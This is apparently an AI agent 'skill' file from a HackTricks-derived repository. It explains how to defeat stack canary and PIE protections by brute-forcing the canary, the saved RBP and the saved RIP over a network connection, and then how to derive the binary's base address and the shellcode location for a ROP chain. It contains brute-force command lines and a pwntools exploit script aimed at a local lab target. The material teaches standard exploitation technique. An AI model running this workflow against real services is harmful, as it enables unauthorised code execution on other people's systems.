Hacktricks-skills bypass-canary-pie
How to bypass canary and PIE (Position Independent Executable) protections in binary exploitation. Use this skill whenever you're working with a binary that has both canary and PIE enabled, need to brute-force stack addresses, or want to leak RBP/RIP values to calculate base addresses for ROP chains. Make sure to use this skill when you encounter binaries protected by canary+PIE, need to brute-force return addresses, or want to calculate shellcode positions from leaked stack values.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie/SKILL.MDBypassing Canary and PIE Protections
This skill helps you bypass binary protections when a target has both canary and PIE (Position Independent Executable) enabled.
When to Use This Skill
Use this skill when:
shows a binary has canary and PIE protectionschecksec- You need to brute-force stack addresses (canary, RBP, RIP)
- You want to calculate base addresses from leaked values for ROP chains
- You're dealing with a binary that doesn't leak addresses naturally
Understanding the Protection
When a binary has both canary and PIE:
- Canary: A random value placed on the stack that's checked before function return
- PIE: The binary loads at a random address each time, making hardcoded addresses useless
Note:
might not detect canary in statically compiled binaries. Look for a value saved at function start and checked before exit.checksec
The Brute-Force Approach
To bypass PIE, you need to leak an address. If the binary doesn't leak addresses, brute-force the stack:
- Brute-force the canary (8 bytes on x64)
- Brute-force the saved RBP (next 8 bytes after canary)
- Brute-force the saved RIP (next 8 bytes after RBP)
The stack layout in a vulnerable function looks like:
[buffer] [canary: 8 bytes] [saved RBP: 8 bytes] [saved RIP: 8 bytes]
Step-by-Step Process
Step 1: Brute-Force the Canary
Use the brute-force script to find the canary value:
python scripts/brute_force_stack.py --target localhost:8788 --canary-offset 1176
The script will:
- Send guesses byte-by-byte
- Detect correct bytes when the program outputs something or doesn't crash
- Return the full canary value
Step 2: Brute-Force RBP and RIP
After getting the canary, continue brute-forcing:
python scripts/brute_force_stack.py --target localhost:8788 --canary-offset 1176 --continue-rbp-rip
This will give you:
- RBP: The saved base pointer
- RIP: The saved instruction pointer (return address)
Step 3: Calculate Useful Addresses
From the leaked values, calculate addresses you need:
Calculate Shellcode Position
Use RBP to find where your shellcode is in the stack:
# After leaking RBP, calculate shellcode position INI_SHELLCODE = RBP - offset_to_shellcode
To find the offset:
- Set a breakpoint after leaking RBP in your debugger
- Check where your shellcode is located
- Calculate the distance between shellcode and RBP
Calculate PIE Base Address
Use RIP to calculate the binary's base address:
# Mask off the last 12 bits (4096 bytes = page size) elf.address = RIP - (RIP & 0xfff)
For example:
- Leaked RIP:
0x562002970ecf - Base address:
0x562002970000
To verify, use
objdump -d vulnerable_binary and check the disassembly addresses.
Step 4: Build Your ROP Chain
Now that you have the base address, you can:
- Calculate addresses of gadgets in the binary
- Build a valid ROP chain
- Redirect execution to your shellcode or gadgets
Important Considerations
False Positives in Brute-Force
Some addresses might not crash the server even if they're incorrect. To handle this:
- Add delays between requests to the server
- Verify multiple times before accepting a byte as correct
- Check for consistent behavior across multiple attempts
The brute-force script includes a delay parameter:
python scripts/brute_force_stack.py --target localhost:8788 --delay 0.1
Assumptions
- The return address belongs to the main binary code (usually true if the vulnerability is in the binary)
- You're working with x64 binaries (8-byte values)
- The binary doesn't have ASLR disabled (otherwise PIE bypass isn't needed)
Example Workflow
from pwn import * from scripts.brute_force_stack import get_bf # Connect to target def connect(): return remote("localhost", 8788) # Brute-force canary canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(connect, base, "SOME OUTPUT") CANARY = u64(base_canary[len(base_canary)-8:]) # Brute-force RBP print("Brute-Forcing RBP") base_canary_rbp = get_bf(connect, base_canary, "SOME OUTPUT") RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) # Brute-force RIP print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(connect, base_canary_rbp, "SOME OUTPUT") RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) # Calculate base address elf.address = RIP - (RIP & 0xfff) # Calculate shellcode position INI_SHELLCODE = RBP - 1152 print(f"Canary: {hex(CANARY)}") print(f"RBP: {hex(RBP)}") print(f"RIP: {hex(RIP)}") print(f"Base: {hex(elf.address)}") print(f"Shellcode at: {hex(INI_SHELLCODE)}")
Next Steps
After bypassing canary and PIE:
- Use the calculated addresses to build your exploit
- Create a ROP chain if needed
- Redirect execution to your payload
- Test the exploit multiple times to ensure reliability
References
- Stack Buffer Overflow Internship Notes
for binary protection analysischecksec
for disassembly and address verificationobjdump -d